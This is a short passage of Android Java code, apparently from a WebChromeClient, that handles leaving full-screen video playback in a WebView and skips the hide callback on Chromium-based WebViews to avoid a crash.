    fullScreenView.addView(videoViewContainer, new ViewGroup.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.MATCH_PARENT));
    fullScreenView.setVisibility(View.VISIBLE);
    isVideoFullscreen = true;
  }
}

@Override
public void onHideCustomView() {
  if (isVideoFullscreen && fullScreenView != null) {
    fullScreenView.setVisibility(View.INVISIBLE);
    fullScreenView.removeView(videoViewContainer);
    // Call back (only in API level <19, because in API level 19+ with chromium webview it crashes)
    if (videoViewCallback != null && !videoViewCallback.getClass().getName().contains(".chromium.")) {
      videoViewCallback.onCustomViewHidden();
    }
    isVideoFullscreen = false;
    videoViewContainer = null;
    videoViewCallback = null;
  }
}